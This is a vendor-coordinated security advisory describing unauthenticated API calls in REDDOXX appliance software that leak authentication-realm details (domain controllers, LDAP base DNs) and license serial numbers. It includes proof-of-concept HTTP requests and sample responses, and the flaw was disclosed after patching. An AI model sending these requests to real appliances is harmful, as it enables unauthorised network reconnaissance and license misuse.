Advisory: Information Disclosure in REDDOXX Appliance RedTeam Pentesting discovered an Information Disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to gain information about the internal network the appliance is part of. Details ======= Product: REDDOXX Appliance Affected Versions: 2032-SP2 up to hotfix 51 Fixed Versions: 2032-SP2 hotfix 53 Vulnerability Type: Information Disclosure Security Risk: low Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-012 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ Through the ISO provided on the vendor's homepage [1], it was possible to analyze the files in a typical REDDOXX appliance [0] installation. It was discovered that the API functions "CoreService.GetRealmList" and "CoreService.GetLicense" are available without requiring authentication. This allows attackers to get information about the configured authentication mechanisms, for example Windows domain controllers if Active Directory authentication is in use. Additionally, the REDDOXX license serial number can be extracted. Proof of Concept ================ All functions of this API require a parameter "id" with a UUID. For this, the UUID provided by the system itself when using the login form can be used, but any valid UUID will be accepted. The "CoreService.GetRealmList" API function can be used as follows: ------------------------------------------------------------------------ POST /RdxEngine/json HTTP/1.1 Host: reddoxx.example.com Content-Type: application/json {"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}} ------------------------------------------------------------------------ It provides details about the authentication realms, such as hostname and port of the authentication server or the BaseDN for Active Directory/LDAP authentication: ------------------------------------------------------------------------ { "version": "1.1", "id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}", "result": { "RealmList": [ { "AuthServer": "", "AuthType": "local", "BaseDN": "", "DisableSavePassword": false, "ImportAddresses": false, "Name": "local", "SetPrimaryAddress": false, "TcpPort": "0", "UseTLS": false, "WindowsDomain": "" }, { "AuthServer": "dc1.example.com", "AuthType": "Windows 2003", "BaseDN": "DC=example,DC=com", "DisableSavePassword": false, "ImportAddresses": true, "Name": "example.com", "SetPrimaryAddress": true, "TcpPort": "389", "UseTLS": false, "WindowsDomain": "example.com" }, { "AuthServer": "dc2.example.com", "AuthType": "Windows 2003", "BaseDN": "DC=example,DC=net", "DisableSavePassword": false, "ImportAddresses": true, "Name": "example.com", "SetPrimaryAddress": true, "TcpPort": "389", "UseTLS": false, "WindowsDomain": "example.com" } ] } } ------------------------------------------------------------------------ The "CoreService.GetLicense" API call can be used as follows: ------------------------------------------------------------------------ POST /RdxEngine/json HTTP/1.1 Host: reddoxx.example.com Content-Type: application/json {"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetLicense","params":{}} ------------------------------------------------------------------------ It provides details about the used license (serial number replaced by random value for demonstration purposes): ------------------------------------------------------------------------ { "version": "1.1", "id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}", "result": { "License": { "Activated": true, "ActivationDate": "2000-01-01T12:34:56", "ApplianceID": "1234", "ArchiveLicenses": "10000", "Cluster": false, "Customer": "Example Ltd.", "HasFullMaildepotLicense": true, "HasFullSpamfinderLicense": true, "HasMaildepotPremiumLicense": true, "MailDepotImporterLicense": false, "MailSealerLicenses": "10000", "MailSealerSignatureLicense": false, "MsxAgentLicenses": "10000", "SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y", "ServiceDate": "1899-12-30T00:00:00", "SpamfinderLicenses": "10000", "SubscriptionDate": "2020-01-30T12:34:56", "Valid": true, "VirusScan": true } } } ------------------------------------------------------------------------ Workaround ========== None Fix === Install the latest hotfixes for the appliance, see [2]. Security Risk ============= The risk of the information disclosure through the two API calls is estimated to be low. Although the API calls should not be available without authentication, "CoreService.GetRealmList" will only return rudimentary information about the authentication realms and "CoreService.GetLicense" is mostly a problem for the vendor, as the serial number could be misused to set up a licensed application without paying. Timeline ======== 2019-05-21 Vulnerability identified 2019-05-24 Customer approved disclosure to vendor 2019-06-04 Vendor notified 2019-06-05 Vendor acknowledges the vulnerability 2019-06-17 Vendor released hotfix 2019-06-24 Customer approved release 2019-07-01 Advisory released References ========== [0] https://www.reddoxx.com/en/ [1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads (Requires login) [2] https://appliance.docs.reddoxx.com/de/release-notes/release-notes-version-2032-service-pack-2-2-2-1242 RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen